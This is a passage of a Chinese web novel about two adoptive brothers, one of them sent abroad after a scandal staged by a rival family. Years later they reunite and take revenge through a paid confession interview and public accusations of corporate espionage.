镜头里,古德庆泪如雨下,那张脸皱巴还泛着油光:“一诺只是个小孩,这一切都是我的错,大家责怪我就好,不要责怪一诺……我对不起大家。” 采访结束,古德庆功成身退,他在贺朝阳请来的保镖护送下,进了警局。 …… 采访视频,在古德庆声泪俱下的道歉,以及“一诺只是个孩子,不要责怪一诺”的发言,经过发酵后,造出了更高的舆论。 本来,陈一诺跟陈宗礼的“明争暗斗”已经在媒体的猜想下,传得人尽皆知。如今,在古德庆的剖白下,硬给陈一诺扣上“为了陷害陈宗礼不择手段,伙同古德庆非法聚赌!”的大帽子。 之前把矛头对准陈宗礼的邮轮员工和董事会,态度发生180度转变,对陈一诺的所作所为,口诛笔伐。说他是白眼狼,说他狼心狗肺。 就这样,刚满18岁的陈一诺,面临了人生第一次网暴。 他想召开记者会,想跟所有人澄清,自己是无辜的!但他怎么证明? 既不能否认自己跟古德庆的亲属关系,也不能跟记者说,古德庆是陈宗礼安排上邮轮的……毕竟,这件事,陈宗礼由始至终都在维护他。 就算坦白了,大家也只会觉得:看吧,就是想把罪名推给陈宗礼,白眼狼…… 真的是,百口莫辩。 那段时间,他哪儿都不敢去,躲在房间里战战兢兢的,总觉得头上悬着一把剑,让他随时熬不过19岁…… 一周后,他终于看见了陈宗礼——在陈家的私人飞机上。 回想起来,这是他第二次搭乘陈家私人飞机,第一次是他从上城来港城。 看见陈宗礼的时候,还是笑着问好,可心里有种说不出的心慌。 他带着戒备问道:“哥,我们要去哪里??” 陈宗礼只深看他一眼,回避似的低头看笔记本,故作神秘:“到时候你就知道了。” 十几个小时的飞行,他跟陈宗礼默契地没说几句话。 等飞机降落,陈一诺才知道,他们去了A国首都N城。 他们在公寓休息一夜,第二天一早,陈一诺拉开窗,发现公寓窗外正对着一排郁葱葱的法国梧桐,那茂密成度,让他想起家里的老榕树。 吃完早饭,他跟着陈宗礼去了N城顶尖大学——NYU。 他们走走停停,陈宗礼难得好心情地跟陈一诺分享自己大学里的趣事。 其实并不多,都是些琐事。毕竟,陈宗礼真的很忙,除了上课、考试、论文,其他时间全被工作填满了。最后,话题又转向NYU的介绍上。 一路上,陈宗礼说NYU的历史、教师资源、厉害专业……饶是这样,陈一诺也很知足,他太久没跟陈宗礼近距离见面聊天,仿佛他们只是云云学生中,漫步在NYU的学长和学弟。 慢慢逛到NYU的湖边,天蓝色玻璃一样的天空,被完美复刻在湖面,要不是白天鹅畅游时滑出了水痕,根本无法识别真假。 陈宗礼买了两杯咖啡,他们靠坐在湖边的长椅上,放下外界纷扰,奢侈地浪费时间。 等咖啡喝了一半,夸NYU的话,已经夸无可夸时,陈宗礼终于问:“一诺,你觉得这个学校怎么样?” 陈一诺眨眨眼睛,毫无心机地:“很好啊,很舒服。” 陈宗礼喝了口咖啡,目视前方不敢看陈一诺:“那你要不要留在N城?” “你的成绩我看过了,来NYU念书绰绰有余。我们现在住的公寓,也已经在你名下。你刚满18岁,可以支配你奶奶留给你的遗产,我还另外给你准备了信托基金,维持你的日常生活不成问题……” 陈一诺被陈宗礼一股脑的信息说愣了,但很快他就明白什么用意。 他举起手喊停:“够了哥,你别说了……”说话的同时,眼眶通红。 他不甘道:“你之前说,让我好好长大,你等着我回天峻帮忙,还算话吗?” 陈宗礼倒吸一口凉气,因为古德庆采访舆情发酵,天峻股价连续下泄。董事会认为,陈一诺的存在会持续危害天峻的股价,而天峻的所有员工也不待见他。未来,他要进入天峻的机会几乎为零。 陈宗礼习惯性地伸手,想摸他那头卷毛,安抚对方,也让自己冷静,但被陈一诺敏感地躲开了。 他尴尬地收回手,问非所答道:“也不一定要在天峻帮忙,创业也好,投资也行,需要资金,可以随时问我……” “咻——”,那把悬在头上许久的剑,总算落下了,并且残酷地刺破了他唯一的希望。 “我不需要!”陈一诺攥紧拳头,浑身发抖。 “陈宗礼,你说话不算话!为了保你自己,把我丢到国外!古德庆他说谎,这些你都知道的!” 陈宗礼拉起他的手,往自己胸前砸:“是,我说话不算话,你给哥一拳!” 陈一诺用力把自己的手抽回来,下意识握拳的动作,跟白凤娇灵堂前那个瘦小的陈一诺重合。 陈宗礼觉得自己的心被凿出一个洞,汩汩淌着黑血。他太不是东西了。 无论是古德庆被判入狱,还是开展新业务安置邮轮的员工,他用尽办法,可天峻内部的怨气依然不消…… 董事会认为,反正是养子,干脆恢复他古一诺的身份。跟陈家、跟天峻没有半点关系最好。陈宗礼和老太太苦苦争取,最后各退一步,把陈一诺送出国,并且永不踏入天峻。 陈宗礼做梦都想把陈一诺留在身边!可现实如此,实在没更好的办法了。他不只是陈一诺的哥哥,还是天峻的CEO,副董事长。 在谈判桌上所向披靡的陈宗礼,赢不了董事会,对陈一诺束手无策。 他只能艰难地劝陈一诺:“你那么聪明,没必要非去天峻不可,外面的世界很大。做自己喜欢的事,边念大学边创业,大学没毕业,你公司可能就上市了,到时候……” 陈一诺喊道:“那不是我想要的!”斗大的眼泪夺眶而出,“我就想跟你一起!陪着你!你听不懂吗!” 陈一诺突然想起咖啡厅里那对狗血的情侣,原来人在这种情况下,脑海里只想得到狗血的对话。 他的眼泪啪嗒啪嗒往下流,本以为眼泪在白凤娇的葬礼上已经流干了。没想到,还有存货。 他用力吸着鼻子,哽咽道:“我10岁那年的中秋节,爸妈开车出去办事,出去之前,说好了晚上回来跟我一起点灯笼!结果他们出了车祸……” “后来的中秋节,只剩奶奶陪我点。14岁那年,奶奶躺在床上再也动不了,她跟我说,以后要乖乖听陈老太太的话,把陈家当自己家……” “我听话,我把你们当家人,结果呢?我不想知道外面有多大,我只想有一个自己的家!我受够了被你们从一个家丢到另一个家,从一个城市丢到另一个城市!!!为什么你们总要把我丢下!!” 陈一诺很少很少说古家的事,因为少,所以陈宗礼敏感地察觉,这已经是他的最后一搏。 就在陈一诺彻底爆发的时候,陈宗礼终于意识到,自己做了一个可能永远无法让陈一诺谅解的决定。 陈一诺双眼通红,呼吸急促,他松开拳头拉着陈宗礼的衣袖,几乎用撒娇的语气:“哥,我不想离开港城,我想在港城念书,我可以不去天峻,我在家里给你当助理行不行……” “行不行?” 隔着衣料,陈宗礼感觉到他的手冰凉,差一点,他就想吐出一句:行,跟哥回家! 但是,陈老太太的声音,在他耳畔出现,跟他说百年陈家的担子,十几万人的生计,他没有随心所欲的权利。 就算他带陈一诺回去,困在港城,真是对他好吗?他可能会被舆论撕扯成碎片,被所有人唾弃……他才18岁啊。 陈宗礼在理性和感性之间博弈,最终得出了一个决绝的答案:“不行。” 一滴、两滴滚烫的眼泪落在他手背…… 陈一诺愤怒地口不择言,说道:“只要你今天把我留在这里,我就不可能再喊你哥!以后再遇见,我们只能是敌人!我说到做到!” 陈一诺从来没用这种语气威胁过人,那是他的穷途末路。他渴望威胁出陈宗礼的再一次心软。 毕竟,陈宗礼对着他,总是容易心软的。 在赛车场赢了他,破了记录,陈宗礼心软没有责骂他;发现他去赌场找人单挑,陈宗礼也心软没有骂他……为什么不能再心软一次呢? 没想到,心软的陈宗礼,这回就是铁了心。 第二天,陈宗礼坐车去往N城机场,陈一诺裹着安抚毯,站在公寓窗边用窗帘挡住身体,看着车慢慢开远。 突然想起一个视频。主人把狗丢在高速公路,车往前开,狗茫然地在后面追,直到跑不动。 如今,看着那个他最信任的人,把他丢在异国他乡,可实在他懒得追。 又不是第一次当弃犬,又不是第一次被辜负。 他只是,好伤心啊……—— 作者有话说:虐完了虐完了虐完了!!!!!!! 后面就没有大段回忆了~都是现在时间线……哎一古 希望大家都是!张牙舞爪,想咬就咬! 第43章 港城的夏季慢慢到了九月,本是秋高气爽的时候,中午的日头会彻底打消你的疑虑。 陈宗礼的库里南停在环亚集团的门口,等了不到5分钟,上来一个金发寸头。 陈宗礼眼皮都没抬,庄嘉轩的不满张口就来:“一个月了!你一条信息都不发我!” “要不是我单方面看新闻,留意你的动态。我们脆弱的兄弟情,早他妈耗尽了。” 陈宗礼的目光盯着笔记本,敷衍地抱了个拳:“辛苦了。” 庄嘉轩好哄,摆摆手:“还好啊,我也不是爱生气的人。” “对了,恭喜啊,拿下羽南港。不过,到底是贺朝阳运气差,还是你运气差,不但成绩比陈一诺低,往后还要跟他捆绑合作。” 他把手机递到陈宗礼面前,说道:“你看看今天的新闻标题:震惊!羽南港项目竞标现黑马!陈家兄弟领衔中标!” “还有这个:陈家兄弟又双叒杠上,羽南港惊变战场?!” “才刚中标,舆论就那么不看好。后面可怎么办呢~” “说实在的,你今年是不是犯小人?怎么总能跟陈一诺扯上关系。” 陈宗礼睨他,纠正道:“他本来就跟我有关系。” 庄嘉轩认同:“仇人的关系。” 陈宗礼瞪他一眼,纠正:“竞标前,我们就已经是合作关系。” 庄嘉轩惊讶:“竞标前?不是……我记得上次赛车,最后你说不算的啊。你撞邪了,还是我耳背啊?转头又跟他合作了?” “再说,港城那么多公司,非得跟他合作?万一这小子给你背后捅刀怎么办?” 陈宗礼言简意赅:“他不会这样。” 庄嘉轩惊讶:“哎哟,你又知道了?这几年,你都变了不少。何况他?被你丢到A国,白手起家逆袭成集团老板,他还是你记忆里的陈一诺么?” “不过,这也怪老太太,要不是她当年把人领进家门,就没后面这些烦心事了。我到现在还记得,你几年前到A国找我时候的表情~” …… 那年,庄嘉轩在A国念书。学校的学习氛围过于浓厚,他人生地不熟,陈宗礼更是断联状态,只有陈宗瑜絮絮叨叨的短信,让他觉得还没跟世界失去联系。 没想到,断联半年的陈宗礼,某天突然,一身黑站在他公寓门口。 圣保罗时期,连头发丝都在发光的陈宗礼,瘦了许多,上斜眼下方一片乌青,似乎很久没睡过觉。那是他没见过的陈宗礼。 看见老友,兴奋变成的担忧,他问陈宗礼:“喂,你没事吧?” 陈宗礼轻叹了口气:“有空吗?陪我去看房。” 这人从小到大都有种天之骄子的傲气,一个人顶一个战队,从来不需要人帮,更别说需要人陪。这是人生第一次,陈宗礼开口需要有人陪。庄嘉轩为兄弟两肋插刀的热血,“轰”地燃气,一口答应。 不过,豪门房产满天下,其实并不需要亲自跑一趟,再说,陈家当时也没人在A国。这是给谁看房啊? 庄嘉轩虽然满脑疑问,但还是拔腿跟上陈宗礼,屁颠屁颠看房去了。 本以为是简单的二选一,没想到,是一场看房马拉松,他们从早到晚看了快十多间公寓。 好多公寓的条件和环境,比庄嘉轩现在住的还好,太子爷愣是看不上。 房龄太老、隔音不行、光线不足、交通不便…… 好不容易到最后一套,陈宗礼站在窗台往下看,一群背着电吉他,打扮朋克的非主流嘻嘻哈哈进了公寓。经过他们这层时,发出一阵轰然大笑。 陈宗礼摇头跟中介说:“住这里的人,品流太复杂,还有别的吗?” 中介强忍着怒意说:“我再打电话问问房源,稍等……” 看着中介隐忍的背影,庄嘉轩抱着手臂,打量着陈宗礼,揶揄道:“你这哪是看房,明明是打算金屋藏娇……到底看上哪家姑娘啊,那么上心。” “别瞎说。”陈宗礼那张冷脸,露出一丝疲态,他朝庄嘉轩伸手:“有没有烟?” 庄嘉轩受宠若惊递上一根,点火的时候禁不住感叹:“奥哟,我这回也算见世面了嘿。太子爷都抽烟了?” 陈宗礼倚着窗台,熟练地吐出一口,白烟朦胧了他棱角分明的脸,伴着残阳,分外忧伤。 中介挂断电话小跑过来,跟陈宗礼说:“陈先生,我们还有一套公寓,在NYU大学旁边,我们可以去看一看。” 庄嘉轩绝望吼道:“怎么还有啊?” 陈宗礼面无表情地把烟掐灭,利落道:“行,走吧。” 半小时后,他们抵达最后一间公寓。 中介介绍道:“这间公寓距离NYU步行15分钟,去生活区也很方便,步行10分钟以内。然后,开车20分钟,有一个公园,还有赛车场……” 陈宗礼打断道:“什么赛车场?” 中介:“卡丁车吧,刺激、危险系数还低,挺多学生周末去玩的。” 陈宗礼在屋里逛了一圈,最后站在窗边往外看,正好能看见郁郁葱葱的法国梧桐,他沉思半晌开口:“就要这间。” …… “后来我才知道,原来那间公寓,住的是陈一诺……” 仗着库里南空间大,庄嘉轩敞开了坐,翘着二郎腿,感慨着:“眨眼那么多年,我是没想到,他居然靠自己真的杀回来了。这小子,确实厉害。” 还没到三十,这人已经开始忆当年。 他问:“哎,再给你一次机会,你还会把他送出国么?” 陈宗礼闭上眼睛:“会吧,那种情况避一避对谁都好。非要改进,也就是换一种方式,选他喜欢的学校、公寓……一步步来。” 让他选择自己的生活,而不是让他觉得自己又被遗弃。 庄嘉轩拍拍兄弟肩膀:“哎,你当哥的仁至义尽了。换别人,我都以为你喜欢他……” 车里顿时陷入沉默,庄嘉轩在等陈宗礼回怼他一句,或者直接否认。结果,对方始终一言不发。 庄嘉轩整个人过电似的,浑身打了个激灵,他用陌生的眼神,打量着认识了二十几年的好兄弟。 凑过身来,确认道:“喂,你该不会……” 车缓缓停下,陈宗礼拨了一个号码,睨着庄嘉轩:“待会你坐副驾。” 庄嘉轩反应了一下,反问:“为什么?凭什么?” 没得到答案,转头陈宗礼已经开门下了车,庄嘉轩快速趴在车窗上“监视”。 才发现库里南停在某个停车场,紧接着,他看见陈宗礼朝电梯的方向从快走,变成小跑…… 小跑?谁能让陈宗礼跑着去见? “叮——” 电梯门打开,出来一个头戴渔夫帽,身上披着一张毯子的男生,他手里推着行李箱,跟陈宗礼说着什么。 庄嘉轩认清了对方,有种意料之外,但情理之中的惊讶:“陈一诺?!” …… 陈宗礼接过陈一诺的行李箱,指着他的眼睛:“昨晚没睡好?” 陈一诺拉下渔夫帽,企图遮住眼底的乌青。 他跟古德庆聊到早晨才结束,把人送走后,只睡了两个小时。这两个小时的梦境不间断,让他觉得自己在梦里又过完了一生。特别是跟陈宗礼分开那天吵架的场景,翻来覆去,让人难受。 醒来后,从新视角再看当年的自己,让人心疼又怜爱,可陈宗礼当时身陷囹圄,在能力范围内,也给他安排了最好的退路。时过境迁,他没有必要,再揪着这点不放。 内心释怀后,再见陈宗礼又是别样的心情,莫名地,他居然有些手足无措。 他摸摸鼻子,才道:“发生了一些事,我晚点跟你说。” 他们的关系能恢复到“好好聊天”、“晚点说”这一步,实属不易。 陈宗礼垂眸看他,应了声“好”,随即指着他身上的毯子,笑道:“这安抚毯还盖着?” 陈一诺有些不好意思,毯子披了很多年,再好的质量,图案也已经褪去,甚至开始起毛。难怪在机场被说成是流浪汉。但这是他唯一的安全感。 他“嗯”了声,解释道:“习惯了,有它哪里都睡得着,没它再好的床都睡不着。” 披着毯子的陈一诺,有些软乎,软到陈宗礼心里,他宠溺道:“知道了,上车吧。” 两人走了几步,库里南突然开门,庄嘉轩下车倚着车门,目光诡异地打量着他俩。虽然陈宗礼没回答,可在他眼里,面前两个人的氛围有种说不出的古怪。 “喂,陈宗礼,我们不是去吃午饭吗?现在怎么回事啊?” 陈宗礼把行李交给司机放后备厢,抬眼看他:“现在就去!” 他伸手给陈一诺开车门,手还体贴地护在头顶。 旁边的庄嘉轩鼓着腮,蛐蛐道:“卧槽,二十几年兄弟,你都没给我开过车门!” 陈一诺瞥他一眼,回呛:“那怎么能一样!他是我哥!不爽回去找你姐哭~”说完,毫不犹豫上了车。 “嘿!”庄嘉轩不服气还想对线几句,被陈宗礼推到副驾,命令道:“闭嘴!上车!” 庄嘉轩不情不愿地上了副驾,听见后排的陈宗礼问陈一诺:“想吃什么?” 庄嘉轩立刻抢先:“陈宗礼,我要吃龙凤楼的脆皮鸡!” 陈宗礼置若罔闻,目光始终落在陈一诺身上等他回答。被庄嘉轩喊那么一声,陈一诺脑子里真出现了脆皮鸡,他摆摆手:“去龙凤楼吧。” “这还差不多……” 想到待会要到肚子里的脆皮鸡,庄嘉轩坐副驾的屈辱心情,才稍微好了些。 …… 庄嘉轩选的龙凤楼是港城本地粤菜荣登米其林三星的餐厅。90年代的装修,价格却不菲。 部长看见庄嘉轩和陈宗礼,立刻打招呼:“陈生,庄少,包间这边。” 午市快要结束,大厅里不着急上班的人却不少。他们三个跟着部长往包间走,迎面撞见了贺朝风——贺朝阳的哥哥。 对方旁边搂着个女明星,看见他们的瞬间,三白眼从阴沉,突然明亮起来:“哎哟,宗礼,嘉轩,还有……一诺,好巧啊。” 他分别跟他们一一握手,庄嘉轩自来熟,问道:“哥,你不是在C国吗?突然回来了?” 前几年,贺朝阳跟贺朗两父子配合无间,用一个古德庆搅得陈家天翻地覆。 那时起,贺朗对二儿子更偏爱,其地位蹭蹭往上涨,而大儿子因为醉心女色。终日跟不同女明星私混,还传说怀上私生子,贺朗对他失望至极,干脆派去C国看工程去了。 贺朝风“嗨”了声:“回来顺便看看我爸。刚下飞机,想吃龙凤楼的脆皮鸡,特意来的,没想到能遇到你们。” 他打量着陈家兄弟,特别是陈一诺,笑道:“那么多年过去了,你们兄弟关系还是好啊。在对付朝阳这件事上,依然默契。” 贺家人真记仇,把当年叫家长和羽南港两件事联系在一起,说话阴阳怪气。 陈一诺突然笑了:“哪里,我们刚欺负完你弟,你就连夜坐飞机回来了。该说你们兄弟关系好,还是说,你这次回来,是趁他出事,在你父亲面前捞回点颜面?” 贺朝风那张虚伪的脸,突然凝住,他淡淡看着对方:“我们的家事,关你什么事?” 陈一诺丝毫不让地瞪着贺朝风:“我们的家事你们也绞尽脑汁地掺合啊。再说,你能回来,有机会踩贺朝阳一脚,还是我们给的,你说关不关我事?” 贺朝风看向陈宗礼:“才中午,你弟弟就喝多了?” 陈宗礼在一旁听得高兴,笑道:“不喝多他也这样。” 小狗么,爱咬人。 贺朝风不装了,冷下脸:“这个定时炸弹已经炸过你一回了,你怎么还不吸取教训呐?” 说的是当年陈一诺大伯的事,把他坑得差点错失天峻总裁的位置。 陈宗礼淡淡道:“有些炸弹是意外,有些炸弹是人为。对于后者,我吸取的教训就是斩草除根。” 贺朝风看着他:“是吗?那你务必确定好,砍得干干净净。” 说完沉着脸转身刚准备走,被陈一诺喊住:“喂,再给你弟送份大礼,你把我们今天这顿包了,怎么样?” 贺朝风皱眉:“什么大礼?” 第44章 “到底什么大礼啊?!!” 龙凤楼的包间内,墙壁上画着红红火火的游龙戏凤,扑面而来的中式热闹。 庄嘉轩刚进包间,嘴上就忍不住了。为了听八卦,一屁股坐在陈一诺旁边。陈宗礼在他身后慢了一步,忍着踹他椅子的冲动,绕到陈一诺另一侧坐下。 庄嘉轩拽着陈一诺的肩膀,直抒胸臆:“卧槽!刚刚差点以为你跟贺朝风要打起来。” 陈一诺笑了:“我才不跟他搞打打杀杀那一套!” 庄嘉轩:“你们刚刚跟打起来有什么区别?你听听自己怼贺朝风的时候说了什么。还有你,陈宗礼!你不是最沉得住气吗?你跟着起哄干嘛啊?” 龙凤楼泡的是金骏眉,陈一诺仰头饮了一杯,脸上的阴沉才勉强消减了些。 坐他旁边的陈宗礼给他满上,说道:“老太太说,现在四大家族里,就我们陈家遗世独立,跟其他三家都没什么合作。既然都独立了,爱怎么起哄怎么起哄。这叫破釜沉舟~” 庄嘉轩脑回路没转过来:“等会!我怎么觉得,老太太那是在劝诫你们,多跟他们打交道,别被孤立!你怎么理解的?” 陈一诺手指敲敲桌面:“首先,你的理解能力,跟我哥的理解能力,从来不在同一水平。” “其次,不是我们不愿意跟他们合作,而是我们早被贺家盯上了。” “你说,如果你被霸凌的时候,跟霸凌的人谈和解有用吗?” 庄嘉轩呆了呆,下意识回复道:“当然没用,但什么叫你们被贺家盯上了。别绕来绕去,能不能说点人话……” 庄嘉轩的理解能力太次,陈一诺直接放弃跟他对话,转头看向陈宗礼:“昨天竞标现场的古德庆,你记得吧?” 陈宗礼皱眉:“当然,怎么?” 庄嘉轩居然快速反应过来:“古德庆……你大伯?当年坑了陈宗礼那个?” 陈一诺点头:“对。”担心他当时人在国外,信息不足,还特意解释:“就是那个害天峻航运停摆,股票大跌,差点把我哥从总裁位置拉下来,还让我们兄弟多年反目的那个古德庆。” 庄嘉轩挠头:“嘿,这些事跟他有关系吗?再说,他不是进监狱了吗?” 陈一诺点头:“早出来了,贺朝阳让他昨天参加围标。不但失败,还被贺朝阳揍一顿,昨晚找我要钱,顺便说了一些当年的事……” 接下来,陈一诺把昨晚跟古德庆聊天的内容,挑着重点,大致说了一遍。菜一道道摆满转盘,那道龙凤楼招牌菜——脆皮鸡,在圆桌上默默转了10圈,只少了两条鸡腿。 其中一条鸡腿搁在陈一诺碗里,他忙着说话还没动。 听到古德庆到警局自首栽赃那段,庄嘉轩听得怒火攻心,“啪——”地拍桌,嘴上里还挂着带肉的鸡腿骨。 “操他们全家!亏我还叫他爸贺叔叔,叫他一声哥!手段真他妈脏!贺朝阳那会儿刚满18!居然那么毒!!” “我说那段时间,你俩怎么动不动就上新闻!我看A国的华人留学生也在聊这个八卦。特别是慈善晚会说你们打架打到掉泳池了。操……分明是你们掩护我和那谁……” 陈一诺睨他,耐心补充道:“你说的那谁,是我妹,人家喜欢你那么多年,不配有名字吗?!” 提起陈宗瑜,庄嘉轩的表情有些不自然。 他清了清嗓子重新说:“分明是你们掩护我和陈宗瑜……可以了吧?!但他们把事实歪曲成这样,就他妈离谱!” 他手捏鸡腿骨,油乎乎地指着陈宗礼:“要不是他们耍手段,一诺也不会被赶出国,你俩也不用闹僵那么多年!是不是!” “不行!这口气咱们咽不下!要不这样,我们有样学样,也编编新闻,说他们贺家兄弟不合,把贺老头两个儿子也弄得水火不容!” 陈宗礼舀了一勺清蒸桂花鱼,放到陈一诺碗里,笑道:“你刚刚不是还让我多跟他们打交道。那么快就叛变了?” 庄嘉轩解释:“我那是有信息差!我哪儿知道他在背后搞了那么多小动作!” “你还笑?你一点都不生气吗?” 陈一诺顺着庄嘉轩的视线,看向陈宗礼,那张没什么人情味的脸,看不出丝毫生气。 陈宗礼把剥好的虾肉,放到陈一诺碗里,说道:“这些事,刚开始没空想,事情过后,我也该想出来了。” “这几年,天峻的生意始终不跟贺家沾边,就是因为当年这些事。” “你早知道了呀?” 陈一诺上辈子始终没发现的内情,原来陈宗礼很早就知道了。 “既然你知道了,怎么……”怎么不跟他解释呢? 因为这一连串的误会,他们决裂数年,彼此之间宛如有一道鸿沟。 当年,陈一诺被捕入狱,陈宗礼还不计前嫌风尘仆仆来救他。可陈一诺看他就跟看陌生人一样,完全不承他的情。 连续拒绝了他三次探视,直到王之初威胁说,如果不见陈宗礼,就拒绝替他辩护,才迫不得已见了一面。 饶是这样,陈宗礼也没解释当年被贺家一连串的设计。 陈宗礼手指捏着一只勾画“万寿无疆”纹的茶杯,罕有地透露出遗憾的表情:“你当时只想杀了我,我能解释什么?就想着在其他方面慢慢补救。” 庄嘉轩嚼着脆皮鸡,嘟囔着:“我作证啊。他真想补救来着!没想到手下不给力,把你逼破产了……他知道破产是你公司那天,脸黑得五彩斑斓的!” 当年的事情,时间久远,零零碎碎的,已经掰扯不清了。可当时难过的心情,确实刻骨铭心。 “为了这事,他病了一个星期。又撞车把手弄伤了,前前后后进医院,把老太太吓死了。” 病了,伤了,这些陈一诺完全不知情。 陈宗礼嫌庄嘉轩多嘴,战术性转动圆桌上的转盘:“吃都堵不住你的嘴,脆皮鸡还吃不吃了!” “吃就吃嘛,凶我干嘛?!”庄嘉轩盘子里夹出一条鸡腿,盯着鸡腿看了看,又朝自己吐出的骨头,和陈一诺碗里的鸡腿看了眼。 “操!一只鸡怎么三条腿!经理!” 就在庄嘉轩跟经理battle“为什么此鸡有三条腿”时,陈一诺把转盘转到自己面前。 “啪——”一碗陈皮红豆沙,放到陈宗礼桌上。 低声道:“哥,过去都过去了!都说先苦后甜嘛,我们的甜在后头呢。” 陈宗礼手指在红豆沙碗边摩挲着,温温热热的。上斜眼定定看着陈一诺:“所以,你到底要送贺朝风什么大礼?” 庄嘉轩能一心二用,这边跟经理争论着鸡腿,那边转身凑过来:“对啊!到底送什么大礼!” “叮——”在坐几个人的手机,同时弹出一条新闻提醒。 庄嘉轩念道:“突发新闻!古德庆接受采访,控诉建盛集团二公子N宗罪!” 陈宗礼一眼就认出,古德庆在一比一还原当年的情景。 站在当年自首的警局门口,接受记者们的采访,话术也是提前准备好的。 他瞥了眼陈一诺,翘着二郎腿,有滋有味地吃鸡腿,没忍住扬起嘴角,大概明白他眼底的乌青从何而来。 10分钟的采访视频里,古德庆把几年前,如何被贺家安排到天峻旗下邮轮上开非法赌场、看着贺家如何制造舆论让陈家两兄弟不和、如何重金聘请他到警局自首,把舆论引导到陈一诺身上。一一说明。 说到贺朝阳因为昨天围标不成,把他痛打一顿时,头上顶着纱布,委屈得像个小孩,眼泪鼻涕一起流,哽咽着说:“今天说这些,可能有人觉得我又收了陈家的钱!” “坦白说,我对贺家一直言听计从,非法聚赌、进监狱、搞围标,我都做。可以说扑心扑命,到头来他们还是不把我当人!我真的,心灰意冷啊。” “假如事件中,受害者陈宗礼先生以及陈一诺先生,需要就当年的事情,起诉贺家,我非常愿意作为证人出庭作证。” 古德庆洗心革面的模样,实在让人动容。 说到这里,他跟当年一样,被聂加几个保镖护送着离开。 …… 庄嘉轩看完采访,有些爽到头皮发麻,说话都结巴。 “这这这……这人昨晚跟你坦白,今天就调转枪头举报贺家了?这墙头草,动作也太快了吧……” 陈一诺慢条斯理喝着红豆沙:“要哭,就得趁羽南港拿下来的第二天,趁热打铁地哭!” “对哦!刚我还说,外面舆论不看好你们合作,这下,当年的事情勾起来,全把矛头对准贺家!我看谁还敢说,你们关系不好~” 陈宗礼脚尖碰碰陈一诺:“这一出,花了多少钱?” 庄嘉轩眨眨眼:“花什么钱?古德庆不是说没收钱吗?” 陈一诺“嘿”了声:“连你都信,那观众肯定也信了。” “这一出,6000万外加A国两套房!”陈一诺额外多给他1000万,作为这场采访的演出费。 “啧啧啧!”庄嘉轩无语地张了张口,“这戏,比我公司的影帝还好!果然高手在民间。” 他看热闹不嫌事大,开始打开社交app看舆论热闹。 “这个视频,彻底勾起陈家和贺家的旧怨!你看,评论区都在@建盛集团和贺朗父子,要求他们给个说法。还有@你们,喊保护我方证人,准备律师团队。” “对了,那么多年,还能告?” 陈一诺手指摇了摇:“很遗憾,老王说告不了。” “但是,我们告不了他,古德庆能告!一告贺朝阳伤人,二告贺朝阳围标。” 陈宗礼了然:“所以,这一出才要今天爆出来。” 陈一诺:“耍流氓么,谁不会啊。” 庄嘉轩激动道:“对!就该让他们尝尝被人公开处刑的滋味!!” 他刷着评论,发现网页消失了,骂道:“操!视频被下架了。贺家公关的手速就是快啊。” 陈一诺“哈”了声:“他们的手速可没那么快~是我们的手速快!” “什么意思?”庄嘉轩还没反应过来。 陈宗礼笑出声:“视频是你们删的吧?删得好。” 庄嘉轩不解:“花了5000万的视频,你说删就删了?那舆论怎么扩散?” 陈一诺解释道:“删了舆论才能扩散!你想,这采访已经上热搜了,现在突然被删,大家只会跟你一样,以为是贺家为了捂嘴删的。” “这时,那些早就录屏的正义网友和营销号,就会跑出来,把视频重发一次。并且把删视频的行为,做实了贺家的做贼心虚。不火都难~” 陈宗礼打了个响指,总结道:“要公关一条视频容易,要捂住悠悠众口可就难咯。” 这种视频,就是要有讨论的热度。删掉证据是给舆论添一把火,哪怕贺家装死不回应,也会成为贺家的黑历史。毕竟,贺家是四大家族之一,还顶着首富称号,家族名誉比什么都重要。 陈一诺就是模仿当年他们的手法,狠狠恶心他们一回。 果不其然,一条只有几十万播放量的视频,因为被删除,瞬间被多个营销号转载重发,#贺家捂嘴#关键词,突然被顶上热搜。 舆论也开始下场。贺家这边的水军,开始反黑带节奏。 “一看就是造谣博取流量!不可信,散了吧散了吧!” “这墙头草,看贺家风光的时候就投靠,现在看陈家拿下羽南港,又来投诚?三姓家奴呸!” 另一边的舆论,则是偏向对当年历史的考古。 “本来觉得这条视频没啥意思,结果被官方下场删视频,倒是引起我注意了嘿~这就开扒!” “出警!让我复习当年,康康到底贺家做了神马……” 庄嘉轩边吃饭边吃瓜,吃饱喝足,才放下手机:“虽然曝光他们是爽,可现在大众舆论也太好引导了,今天骂这个,明天就被其他新闻吸引了。” 陈一诺不以为然:“所以说,只能是小小出气,我根本不指望能通过这个视频,让贺家吃什么亏。不过呢,今天爷心情好,再给他们加把火~” 陈一诺在港城的所有社交平台并没有账号,刚花5分钟注册了一个。 随即发布第一条消息:一星集团人事变动公告。 集团财务总监吴奇,涉嫌利用职务之便收受贿赂,被革职并扭送相关部门接受调查。报案后,经相关部门了解,当事人在贺某某的怂恿下,以窃取一星集团高级机密作为交易,谋取利益。现已进入司法程序,特此通告。 古德庆刚刚控诉贺家N宗罪,陈一诺公司就揪出一个被“贺某某”收买的商业间谍。 一时间,把舆论又掀起到新高度,不少人开骂:“妈的,贺家真缺德,当年陈一诺才18岁,就造谣人家兄弟俩,害陈一诺被送出国被叫弃犬那么多年!现在人家好不容易创业成功,还用商业间谍,手段真恶心~呸!” “之前的事没法判,这回够证据能判了吧!建议再往深了查,贺某某犯的罪肯定罄竹难书,赶紧抓他去蹲蹲!” 陈一诺心满意足地放下手机,笑道:“商业间谍这事,老王说能告,不过贺家律师团队也挺厉害的,估计是一场硬仗。” 庄嘉轩朝他比大拇指:“我去,你那么早就开始布局了?厉害啊,这人你怎么揪出来的?” 陈一诺当然不会说,是上辈子用锒铛入狱,换回来的。只淡淡道:“用了点小聪明。” 按照王之初的说法,除了刚被抓时的慌乱,吴奇很快冷静下来。他只承认自己职位侵占公司财产,拒绝承认自己有间谍嫌疑,那就没法往下查。 这时,陈一诺想到,如果吴奇只是窃取一星集团的商业机密,也只能判3-7年有期徒刑。但吴奇曾经把一星集团的机密泄漏给贺朝阳所在的建盛集团,而建盛总部在港城,属于跨境提供商业机密。那刑期可达10年以上至无期徒刑。 一听见有可能判“无期”,胆小的吴奇什么都招了。 …… 陈宗礼肩膀突然凑到陈一诺这边,把手机屏幕递给他。 刚好下午3点,港股收市。 建盛集团的股票在收市前15分钟,断崖式下跌,直接熔断。 他举起手笑道:“我这次疯得可以吧?” 陈宗礼上斜眼弯弯的,迎合着“啪——”跟他击掌:“疯得好~贺朝风要是知道礼物是这个,估计得包你一辈子的饭。” 